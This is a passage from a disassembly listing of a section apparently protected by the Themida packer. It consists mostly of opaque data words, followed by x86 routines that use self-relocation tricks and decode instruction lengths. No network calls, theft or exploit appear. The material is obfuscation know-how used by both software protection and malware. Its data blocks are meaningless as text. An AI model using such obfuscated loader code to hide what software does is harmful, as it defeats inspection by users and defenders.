dd 0FC18B9CCh, 9E3B2E05h, 0FC18B9DDh, 0BBC23F74h, 0C7906FF8h
dd 0E4FE45EFh, 185DA8F4h, 317F7CA3h, 6A30A9A8h, 0AB27D013h
dd 189A4D0Eh, 34A584FCh, 69A61776h, 2D8A0D3Ch, 0FC189A2Ch
dd 693D8EE5h, 8604FD8h, 93D910DFh, 0E549E14Ah, 7663FC18h
dd 298E3130h, 0FC18E528h, 6D3982F9h, 4EDDDB1Ch, 495784C7h
dd 9346B932h, 5EC3BC0Dh, 3852F76Ah, 6B01FAB6h, 62DFE516h
dd 0FAEE7364h, 0E147E247h, 0C1BE041Fh, 0D0DE1F5Eh, 328677CAh
dd 0E7B625C7h, 0F69F69B1h, 48274CB9h, 2BFE7CAAh, 790F75Eh
dd 6B6D0000h, 16DEA32Fh, 0C5357492h, 696CDDF9h, 19C2A723h
dd 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh, 5E4442B7h
dd 89CA6F96h, 58F9FF1Bh, 6D6E11D5h, 9106BB27h, 0FCEC2E6Bh
dd 7168DFA3h, 4A93D823h, 0CED4D207h, 577B1800h, 0E7EE51D0h
dd 7EDB5AA1h, 0FC18B9FDh, 0D9E25F14h, 0FAD1FE70h, 8C4B0A01h
dd 1269BD0Eh, 0ECA82C6Fh, 5AD7B0DBh, 49F9FAA1h, 480B370Fh
dd 1EDD0C90h, 0DE333790h, 4D3FE62Bh, 0C4h, 23696E71h, 5E6499D8h
dd 0BDC862CFh, 0F7E0FC18h, 0A35415B1h, 0B4F562E5h, 4E548991h
dd 0F0EF13CDh, 0EE734CD7h, 0A8E247FAh, 0C001FA1Eh, 0CA515581h
dd 95E23881h, 0E7C14E09h, 1B50ABEFh, 7938BBAEh, 0A5C5E383h
dd 0AC2F0BAAh, 690D5677h, 0A0041E9Bh, 0E81554CBh, 2B6024D0h
dd 9321DAAFh, 7B8C6316h, 301376FEh, 6A2h, 0B15D599Fh, 1A8004F0h
dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h
dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF1BB7B8h, 0E7276EF9h
dd 0C98A2FAEh, 18FC18B9h, 26D79A23h, 4E70E998h, 6EFDCD6Dh
dd 0F4216790h, 2D7846B5h, 360B1FA8h, 0A7A831C1h, 7EFC183Bh
dd 0CED401h, 0AE29696Eh, 29589DE8h, 18B9CF80h, 0FC2906FCh
dd 0E1B126A9h, 5945B2F8h, 4F00A928h, 86FC18B9h, 66DCA0A9h
dd 4A7DD19Bh, 0D1B2871h, 325FFC18h, 74CE6B1Eh, 9F0200ECh
dd 0F9FEA1A0h, 0A55217B3h, 0DA9D84E7h, 744D9E1Ah, 0E344FBEFh
dd 412B887h, 0AF6481FEh, 7AFE79A7h, 5E8442Fh, 13C50000h
dd 0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h
dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh
dd 20F9FF1Ah, 696EB97Dh, 6099D823h, 9B3C35Ah, 8208F13Dh
dd 921EDC9Fh, 0AD2C5D49h, 18B94B0Ch, 179B41FCh, 9FAB3C0Bh
dd 3A041342h, 7E9h, 3E8EDD00h, 0B4000001h, 18B9FB88h, 914609FCh
dd 54F9B20Bh, 0D94EF170h, 2817C954h, 99E2FBD2h, 2000936h
dd 3E61E05Fh, 0FD67F0BCh, 4FA36AF2h, 3D7CA304h, 91D0FEBCh
dd 0EEDB2268h, 7DDA4D61h, 41D7809h, 1FEE0B60h, 12FE7A68h
dd 53C2C77h, 0BF390000h, 6A6ADFFBh, 19C1A02Eh, 0BD380995h
dd 6D6ED3FFh, 650CBB27h, 0F11DA358h, 5F7B49B0h, 26ACF0EAh
dd 8A109643h, 5D1EBBCAh, 0F4F9FF1Dh, 696E4D89h, 1659D823h
dd 5E01DADEh, 7A881399h, 0F77604F0h, 2D7844B4h, 0B9DE9FA8h
dd 3877FC18h, 7137A0AFh, 4C4A8FCEh, 8D1AAF7Bh, 8A995F9Eh
dd 82B8011Ah, 3A04DA4Fh, 7FCh, 828EC600h, 0B4000000h, 0D0577B18h
dd 580577h, 7CE35802h, 0D0FEBC3Dh, 0DB226891h, 0DA4D61EEh
dd 0E7C71A7Dh, 5047307h, 8B179542h, 867141B6h, 3B70E500h
dd 260A17E0h, 0ED508623h, 608B0A35h, 0FF33D644h, 1693C8FCh
dd 0F892F891h, 7FAAF590h, 7A000004h, 0AF92387Ch, 2676327h
dd 7DCCCAD6h, 0D3963C7Ah, 0C17E642Ah, 52609D22h, 0B806F5B4h
dd 0E1AD2F12h, 555384E5h, 0DB7C8549h, 0F9FF1C9Ah, 8E00CA4Bh
dd 10Eh, 577B18B4h, 580577D0h, 0E9580200h, 1952A9EDh, 106B31A6h
dd 0B8FB6EDBh, 0EC5D793Fh, 0D75EADEBh, 0F8F10942h, 0B99AB301h
dd 9069720Bh, 0FA8DFF3h, 7E740A8h, 109396EDh, 0E074891h
dd 61DEF7D6h, 0DAE01958h, 0D28C4D3Ch, 0FE0BEA48h, 0D92C999Ah
dd 0D84F63E0h, 349B7B7Fh, 58A5920Ah, 0F893CBF1h, 0E38ED1B4h
dd 0DE000003h, 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h
dd 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h
dd 67C0212Dh, 0F9FF1CF6h, 6EA4662Fh, 99D82369h, 0B3C35A60h
dd 98313D09h, 3B7134F2h, 0A6B9DC37h, 408CDD7Eh, 5AF778C1h
dd 512EFC18h, 5B9CC3E4h, 16CBB15Dh, 0B73A04F6h, 2FB804F4h
dd 41E2h, 7B18C400h, 3851D057h, 8FAD20FEh, 4A933489h, 1FB5DF7h
dd 14984205h, 276344F1h, 0DC099742h, 0A2EEEAADh, 0BDFDFCBFh
dd 0AE2F7E3Ch, 29B26871h, 0F9FA1D15h, 0EEF4B227h, 0C8535F9Bh
dd 33D69h, 6C6E9D00h, 0CD5AC520h, 16C2972Bh, 51FA738Ah
dd 0B8AF47E0h, 18225E1Fh, 2FB8F7FCh, 0D5F1B720h, 0C6256394h
dd 0B65C5A9Fh, 0B5B49885h, 0FA434614h, 9BE25901h, 0FA0081BEh
dd 605492F9h, 0E6C8F429h, 695B3Fh, 0AE6F0000h, 5BA2E8EFh
dd 53F0C912h, 0C8058175h, 0D17EF059h, 0DA9101FAh, 5681C043h
dd 112E7750h, 23F9FAA1h, 0C5D2AB4h, 5AD07122h, 0A4579EEDh
dd 0C5878F1Eh, 0FF798FF1h, 0BF387B07h, 2029A2F9h, 4F17C1E8h
dd 6307A0E6h
dd 3FE61EAEh, 129E5C1Fh, 2E2F888Bh, 0E7F9FABEh, 0EDEC5388h
dd 19906A7h, 16000001h, 831AA057h, 6EB5714Ah, 0BD3C2369h
dd 18B95B1Ch, 4ABD8AFCh, 90BB0C90h, 87E6AC51h, 8E1D9B5Ch
dd 8E149247h, 18BD255Dh, 0A4E217FCh, 88E4B3Eh, 211F04FDh
dd 0ED94F7BBh, 18BD0B4Ch, 306DDAFCh, 23E344FBh, 5201FAD3h
dd 76A3E7EFh, 5E96D968h, 0ABA8815Ah, 0EB278087h, 19041F4Dh
dd 6D003196h, 5FDCF7DEh, 4FCFF8EFh, 10A9868Ch, 0CB8ABD8Ah
dd 3415012h, 0C54F9212h, 6DEEB479h, 6A907DBDh, 5996C726h
dd 61EC7DECh, 9D5E1A9Ah, 0C9F96681h, 0E05DF1BEh, 7D7EC3C7h
dd 491B5CFDh, 7DCAF7DEh, 3F48FB00h, 7613FE7Dh, 1E92Fh
dd 9612C400h, 0F9BD3908h, 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch
dd 0E7B85FD4h, 5F22A8F6h, 0B988169Ch, 0EE537F43h, 3F27A3E9h
dd 1EF061C6h, 7C21F9FFh, 0D739AEBEh, 53599E96h, 0AE8A83C8h
dd 52CC4D41h, 7B7E9B7h, 0CF0C3394h, 7364C5C1h, 5918A935h
dd 0FFCB1CA2h, 0D0577B18h, 0DB226891h, 61C64992h, 1FAD1F1h
dd 57304B20h, 0F9FAA1DAh, 8BB78FC9h, 3D8E12C8h, 0E62BD409h
dd 0E47B3Fh, 6E4F0000h, 0ECB22969h, 0F0ED54B7h, 4FD85BA2h
dd 0C9331D56h, 1AC854C5h, 9218A53h, 0E3FC187Ah, 147735A0h
dd 9E5B06A7h, 4A8FF218h, 3776394Ch, 0A7A831BFh, 7EFC1872h
dd 6195D401h, 3495C625h, 4FF2D67Bh, 0B8C3C90Ch, 0C267AA33h
dd 1FA1CC0h, 6B9E0473h, 118506FEh, 0F1D1B07Eh, 2F9DBE26h
dd 1AD3F40Eh, 0BF189B75h, 0F9FA6ABEh, 0E4F1857h, 0C7F9FA6Ah
dd 4D0C3368h, 71FA018Dh, 0F1802968h, 1F041FBAh, 0C8119F5Ch
dd 2362E552h, 9BEEF4BAh, 6ED75C62h, 0F1FE7CABh, 0D0CD94h
dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h, 0D9026763h
dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh, 1E8402F7h
dd 0C98A2F56h, 18F9FF11h, 0EFAED115h, 612FAAEEh, 2FAC9334h
dd 3EBFFE61h, 7A01570h, 0F3B93E03h, 696EE9D7h, 9CEFB329h
dd 0CE8F285Fh, 7FC18B9h, 29A8F328h, 0EBECEAB0h, 7ADF4266h
dd 2005832h, 5C87E65Dh, 2B6A1D9Bh, 0CBDFE8AEh, 68F18176h
dd 0F9FF26E7h, 0F114413Eh, 0F13E64A8h, 0DF9A349h, 547238A1h
dd 47A6E415h, 21D9D91Ch, 90CD0E9Dh, 2564AD75h, 936FE8B6h
dd 22DE034h, 0B581C912h, 8C0A9049h, 0C9A23CBDh, 0F65FAE3Ah
dd 0A8C57C0h, 0F660753Bh, 0F0362B9h, 3B000000h, 766726A7h
dd 7E0515F4h, 0A71C7B53h, 686E2006h, 6196D92Ch, 5B81C05Bh
dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh
dd 7CF7695h, 56F27883h, 0C681E689h, 4, 5604EE83h, 42474FFh
dd 24048F5Eh, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h
dd 68241489h, 49D8h, 83240C89h, 48904ECh, 4A16B824h, 0A4BA5070h
dd 315597D5h, 8B5458C2h, 0C481240Ch, 4, 24348152h, 641A375Ah
dd 5008418Fh, 8B8h, 81C80100h, 1A375A30h, 34FF5864h, 0C4835924h
dd 2434FF04h, 4C4835Ah, 0FAD5DEE9h, 77D1F4FFh, 0CB30BD0Fh
dd 6D6FA4A4h, 0E7A9B8B8h, 0FFC50305h, 393826E0h, 0A07A9150h
dd 8DC48808h, 0E4A07158h, 0B2A94579h, 8AB4314h, 5AD5F761h
dd 5C308E23h, 463B180Dh, 0BA5ADB5Dh, 220CE644h, 0FD416A3Ch
dd 0DAC8FF00h, 139C4A0Dh, 702CFB39h, 380F4537h, 0B31DF523h
dd 0E36B9307h, 6B94866Dh, 7F747F50h, 2EFB946h, 43428672h
dd 0EBBEB55Eh, 44162E6Bh, 0AAC8CB05h, 3BB00A1Dh, 638D8D5Ah
dd 8B05E7ABh, 0E20011B5h, 0E98D8905h, 6A05E20Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 3AB7C353h, 2CD7B519h, 7D9D8B82h, 8905E209h, 0E22409B5h
dd 6185C705h, 6005E207h, 6A00006Ch, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 75CC355h
dd 0FB0A879Ch, 0DB816605h, 0B5896BF7h, 5E23299h, 1B5585C7h
dd 5E2h, 8B660000h, 0D1B5FFF8h, 0E905E21Ch, 14h, 0A07C26C8h
dd 2B5C64ACh, 9FDFB996h, 3155BE4Ch, 7FC03920h, 0B1595FFh
dd 6AF905E2h, 0B995FF00h, 8B05E20Ah, 8C4CEBC0h, 819151A8h
dd 0F69BB0EBh, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 8FEA4169h
dd 0FCCF2A27h, 21F7FCEAh, 7B1C3C3Bh, 0ECC95FB1h, 722EEAC6h
dd 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h, 84E302B3h
dd 796D2728h, 6C5D56ECh, 8BEB7F28h, 8B6656C0h, 0BD835ADFh
dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h
dd 3FCB8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
dd 5BD8358h, 5E218h, 53501774h, 3FCB8h, 5D858900h, 8D05E231h
dd 0E4AFE99Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 63DA8133h
dd 0F6ABEE2h, 685h, 72EB8100h, 6A475D91h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 806DC357h
dd 0E38166B8h, 0C08B15DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0BC35646h, 5CD33392h, 0B9BD83h, 0F0105E2h
dd 7784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0BD83FCBEh, 5E213C5h, 4D850F00h
dd 8B000000h, 0A1BD83D6h, 5E21Ch, 8A840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 890FF7C3h, 2, 12E9D18Bh, 68000000h, 74BEDD31h, 3A0B7CBFh
dd 97B82C15h, 3F826910h, 0D9B70FACh, 353E9h, 0FE900h, 97F20000h
dd 85A605EAh, 746E6C5Bh, 0E2377D6Fh, 28h, 0EB816600h, 6A21C5h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F808C8C3h, 5E9h, 0F15DED00h, 0DA8BACF2h, 6ADEDF07h
dd 4C776FA2h, 0C994E778h, 0AD148F05h, 0C4F93CA8h, 0E7116A54h
dd 4E4FA974h, 46154E61h, 0DB154ECEh, 81116A45h, 8C6EA9F4h
dd 0CFFCA735h, 96A40CA2h, 0C71164BDh, 6207B72Ah, 0BFD3394Dh
dd 227FB548h, 9C3C968Dh, 0C77BBA5Dh, 0C7128207h, 99316AA8h
dd 0B3983497h, 83906E0Eh, 0C70C6E31h, 91576A8Ah, 91EC8086h
dd 6F27CF4Eh, 0A10A03BAh, 2E192C13h, 0C7116EC3h, 0C19D657Ah
dd 46116A15h, 9259AC50h, 2F443173h, 0C7116AA2h, 12FCEB0Ch
dd 0A1148D05h, 7C43BBDFh, 0FA5DD777h, 0C714824Fh, 0EB7C6A8Ah
dd 7C9F4A75h, 81D96B0Bh, 2FD1E10Bh, 0C7116AA6h, 2CBABF2h
dd 0EF499E4Ah, 9376B0AEh, 0D907589h, 0A5C82F96h, 9746FAF8h
dd 0C7018303h, 7E5C6AA8h, 0CB8048F0h, 58075D6Bh, 65200D68h
dd 0F61E7FE1h, 0C71164ADh, 0B5988FA2h, 5AB17934h, 0BE155E16h
dd 9D13F5A1h, 974A3270h, 0C71165FCh, 0B97B458Ah, 9B86CE49h
dd 0C7758A0Eh, 4BC74D7h, 8B106538h, 0C77B9470h, 0C7128278h
dd 9D316A15h, 93983049h, 83906E61h, 0C7046E86h, 95536A51h
dd 95B4DF6Bh, 9F4AD9E6h, 0C713E425h, 1E9A6A15h, 0C713668Fh
dd 0CF9A9345h, 0A1C8E1C4h, 0ADED22DAh, 0C4F938A8h, 0E7116A54h
dd 4E4BA970h, 46154E41h, 0D3154ECEh, 85116A45h, 0C809A9F0h
dd 0C7116BD8h, 781E92A8h, 0C710D28Ah, 7E716A2Ah, 836C25DFh
dd 0EFF1EBECh, 2F800BB8h, 0C7116AABh, 0E997FA54h, 0CD55EC3Eh
dd 4AA20ACEh
dd 9C70D99Fh, 0C7178245h, 17536A8Ah, 0C9D49A21h, 0C71C83C2h
dd 71596A51h, 6895124Ch, 4266FDF1h, 0A65F97B8h, 701EFB4Fh
dd 1E9D0C51h, 0AFEA88C4h, 6E70A51h, 7C946555h, 7D116AA8h
dd 0FB2F35D9h, 119A0C73h, 0C8795395h, 0C7106C0Fh, 91110045h
dd 0C711694Ah, 44F4A51h, 0E365E3F6h, 0E355EB50h, 0C7117C2Eh
dd 4472C15h, 0A151B701h, 0BE9AB4CEh, 0CF9465A3h, 0C8116A51h
dd 0C7116828h, 4697D854h, 0C7116AD5h, 0F936595h, 0AD116A8Ah
dd 0C4F93F45h, 0E7116AA2h, 4E4CA90Ch, 46154EC4h, 0DA154E10h
dd 82116A2Ah, 562FA940h, 2C854CFAh, 0C09C0360h, 6A07EF65h
dd 0C7106FB6h, 2F466AA8h, 0C7116A58h, 931C4DA2h, 112F7604h
dd 357D534h, 0C7117EACh, 40BC70A2h, 0CA746624h, 0D60F0832h
dd 17D903F2h, 5855FB80h, 2E4B314Eh, 0C7116A02h, 2E71B8C5h
dd 0C7116AFDh, 0AD48BCDAh, 0C4F93DA8h, 0E7116A54h, 4E4EA975h
dd 46154E69h, 0D3154ECEh, 80116A45h, 0A14DA9F5h, 381A13D2h
dd 0C724EEA7h, 0C77B6A54h, 0C7128278h, 9D316A15h, 93983049h
dd 83906E61h, 0C7046E86h, 95536A51h, 9145566Bh, 0B99DD032h
dd 2D900C70h, 42D63BC9h, 0C2F6C79Ch, 0C7116A44h, 8FC2E1C4h
dd 2F466A3Bh, 0C7116AABh, 98D23574h, 0C33516A3h, 0C3352E94h
dd 0C7116A9Ch, 0B4D23D02h, 349B6238h, 0D32D4CE8h, 6094E7F8h
dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh, 32FA2D8Ch
dd 2F446AC8h, 0C7116A52h, 9AD23788h, 0C33506DDh, 0C3352EABh
dd 0C7116A08h, 1BD23FCFh, 3ACA0FEFh, 5C0A533Fh, 5BA796E2h
dd 2F466AC2h, 0C7116A57h, 98D2350Ah, 0C335169Ch, 0C3352E0Bh
dd 0C7116A5Eh, 62D23DE5h, 9F4F58D8h, 447F994Ah, 2511D3E9h
dd 431E6B2Fh, 0C7116A43h, 0C713EE85h, 1A9B6A45h, 0D4D4D721h
dd 0C8116FB3h, 0C7112B2Dh, 90110054h, 0C71169C2h, 44E4A15h
dd 0E36DE3D5h, 0E355EB41h, 0C71176A6h, 4462D51h, 9D909433h
dd 0BE4D1882h, 66ACE9F7h, 0C7148809h, 0C727EE85h, 4C1E6A45h
dd 0C7116AA4h, 58F5A0D0h, 7D7733BFh, 0F3F8BFFFh, 0AD116A2Bh
dd 0C4F93815h, 0E7116A8Ah, 4E4BA91Fh, 46154EF6h, 0D3154E15h
dd 85116AA8h, 0A1D0A906h, 413781ABh, 0C7A8D796h, 0C8106F68h
dd 0C711DCC0h, 951100A2h, 0C71169B9h, 44B4AA8h, 0E345E30Eh
dd 0E355EB2Eh, 0C7117711h, 443288Ah, 6B4649A5h, 0D2D9FEEFh
dd 0C91A2A3h, 9AC2E100h, 0C77BA9A8h, 0C712827Bh, 9E316A15h
dd 8B983349h, 83906E61h, 0C7046E86h, 96506A51h, 3F215D6Bh
dd 0C711DCBDh, 9611002Ah, 0C71169FDh, 4484A8Ah, 0E35DE31Ch
dd 0E355EBA6h, 0C7117355h, 4402BA8h, 0F5CD206h, 0C2F9C87Eh
dd 0CE116A15h, 923475AFh, 0C71179ADh, 552888A2h, 0EF7AFD58h
dd 0CE76A5Ch, 0B751ACE6h, 0BA0C5AD5h, 0C7116DFCh, 9528C8Ah
dd 74FC8C21h, 0D7F831F9h, 21116A51h, 9D2ABD02h, 0D77A15FCh
dd 0D108F737h, 9A67C42Ch, 2F426AE0h, 0C7116A46h, 9CD23182h
dd 0C33536D8h, 0C3352E29h, 0C7116A40h, 5BD23969h, 0A1CFDD1Ah
dd 0ADDEBA01h, 0C4F93D45h, 0E7116AA2h, 4E4EA90Eh, 46154ED4h
dd 0DC154E10h, 80116A2Ah, 0C74AA942h, 37D8719Dh, 461E4E75h
dd 0C7116AA1h, 4A0398D1h, 20BC2315h, 0B39CE751h, 7F148D98h
dd 0BC2B3608h, 0D118EFB9h, 83A6FA7h, 0D32D4CE8h, 6094E7F8h
dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh
db 8Ch, 2Dh, 0FAh
byte_548F43 db 83h ; DATA XREF: Themida_:004EE82Co
; Themida_:004EFFA0o
dd 0A4F305E9h, 0AD16BD83h, 740005E7h, 428D8D0Dh, 0B805E24Ch
dd 1, 6A40E1FFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0B982C353h, 0D68BACA3h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h, 0DF81FDF7h
dd 1684F197h, 0FB8B6050h, 835A61F8h, 66532DE8h, 8B5BD68Bh
dd 7E8C0h, 0DDD30000h, 122A0018h, 2800FEDh, 0B6000000h
dd 0D68B5AE2h, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h
dd 53501974h, 0FCB8C08Bh, 89000003h, 0E21DD585h, 619D8D05h
dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 0FCB85350h
dd 89000003h, 0E21DD585h, 29D8D05h, 0FF05E4B0h, 6A585BD3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0E8D7C356h, 7902A16Ah, 8C0F5360h, 0
dd 0F7F1805Eh, 0B7EB8061h, 0C8E9C08Bh, 88000001h, 7 dup(88004188h)
dd 4188h, 4 dup(0)
dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
dd 888888h, 0
dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h
dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
dd 88080888h, 888888h, 0
dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h
dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
dd 1000000h, 14h dup(0)
dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0)
dd 0E9000000h, 353h, 0E855h, 815D0000h, 0E7B56BEDh, 85C76005h
dd 5E7B4B8h, 0
dd 663E8166h, 0F850FA1h, 0C7000000h, 0E7B4BC85h, 605h
dd 24E900h, 858D0000h, 5E7B4C0h, 10858D50h, 5005E7B5h
dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0B4BC8589h, 36105E7h
dd 0E7B4BCB5h, 0B8858B05h, 5D05E7B4h
db 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5492AE
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5492BA
; ---------------------------------------------------------------------------
loc_5492AE: ; CODE XREF: Themida_:00549297j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5492BA: ; CODE XREF: Themida_:005492A9j
push ebx
push esi
push edi
loc_5492BD: ; CODE XREF: Themida_:00549312j
; Themida_:0054932Ej ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5492D0: ; CODE XREF: Themida_:005492F7j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 5E7B622h
lea ebp, [ebp+5E7B498h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5492FD
inc cl
cmp cl, 0Bh
jb loc_5492D0
loc_5492FD: ; CODE XREF: Themida_:005492ECj
cmp cl, 0Bh
jz loc_54935A
cmp al, 66h
jnz loc_54933B
cmp byte ptr [ebp-5], 0
jnz loc_5492BD
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_549333
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5492BD
; ---------------------------------------------------------------------------
loc_549333: ; CODE XREF: Themida_:00549320j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_54933B: ; CODE XREF: Themida_:00549308j
cmp al, 67h
jnz loc_5492BD
cmp byte ptr [ebp-6], 0
jnz loc_5492BD
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5492BD
; ---------------------------------------------------------------------------
loc_54935A: ; CODE XREF: Themida_:00549300j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_549386
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_54938B
; ---------------------------------------------------------------------------
loc_549386: ; CODE XREF: Themida_:00549365j
movzx edi, al
shr edi, 1
loc_54938B: ; CODE XREF: Themida_:00549381j
push ebp
call $+5
pop ebp
sub ebp, 5E7B6DAh
lea ebp, [ebp+5E7B398h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_54950D
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_549451
dec ecx
jz loc_549434
dec ecx
jnz loc_5494A4
cmp byte ptr [ebp-2], 0
jnz loc_5494A0
cmp byte ptr [ebp-5], 0
jz loc_549413
mov byte ptr [ebp+0Bh], 2
loc_549413: ; CODE XREF: Themida_:00549409j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 5E7B766h
mov dword ptr [ebp+5E7B4B8h], 1
pop ebp
jmp loc_5494A4
; ---------------------------------------------------------------------------
loc_549434: ; CODE XREF: Themida_:005493EEj
cmp byte ptr [ebp-2], 0
jnz loc_54947E
cmp byte ptr [ebp-5], 0
jz loc_54947E
mov byte ptr [ebp+0Bh], 2
jmp loc_54947E
; ---------------------------------------------------------------------------
loc_549451: ; CODE XREF: Themida_:005493E7j
cmp byte ptr [ebp-2], 0
jnz loc_549497
cmp byte ptr [ebp-5], 0
jz loc_549486
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_54947E
mov [ebp+0Bh], cl
loc_54947E: ; CODE XREF: Themida_:00549438j
; Themida_:00549442j ...
inc byte ptr [ebp+0Bh]
jmp loc_5494A4
; ---------------------------------------------------------------------------
loc_549486: ; CODE XREF: Themida_:0054945Fj
cmp dl, 5
jnz loc_5494A4
mov [ebp+0Bh], dl
jmp loc_5494A4
; ---------------------------------------------------------------------------
loc_549497: ; CODE XREF: Themida_:00549455j
cmp dl, 6
jnz loc_5494A4
loc_5494A0: ; CODE XREF: Themida_:005493FFj
mov byte ptr [ebp+0Bh], 3
loc_5494A4: ; CODE XREF: Themida_:005493F5j
; Themida_:0054942Fj ...
dec byte ptr [ebp+0Bh]
jz loc_5494D2
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5494B4: ; CODE XREF: Themida_:005494CAj
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5494B4
mov esi, edx
loc_5494D2: ; CODE XREF: Themida_:005494A7j
and al, 0FEh
cmp al, 0F6h
jnz loc_549507
cmp edi, 7Fh
ja loc_549507
test bl, 38h
jnz loc_549507
cmp byte ptr [ebp-7], 0
jz loc_549501
movzx eax, byte ptr [ebp-4]
jmp loc_549504
; ---------------------------------------------------------------------------
loc_549501: ; CODE XREF: Themida_:005494F2j
push 1
pop eax
loc_549504: ; CODE XREF: Themida_:005494FCj
mov [ebp-1], al
loc_549507: ; CODE XREF: Themida_:005494D6j
; Themida_:005494DFj ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_54950D: ; CODE XREF: Themida_:005493B7j
mov al, bl
and eax, 7
sub eax, 4
jz loc_549538
dec eax
dec eax
jz loc_54952E
and bl, 7
add [ebp-1], bl
jmp loc_549540
; ---------------------------------------------------------------------------
loc_54952E: ; CODE XREF: Themida_:0054951Dj
mov al, [ebp-3]
add al, 6
jmp loc_54953D
; ---------------------------------------------------------------------------
loc_549538: ; CODE XREF: Themida_:00549515j
mov al, [ebp-3]
add al, 4
loc_54953D: ; CODE XREF: Themida_:00549533j
add [ebp-1], al
loc_549540: ; CODE XREF: Themida_:00549529j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_549568
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_549553: ; CODE XREF: Themida_:00549562j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
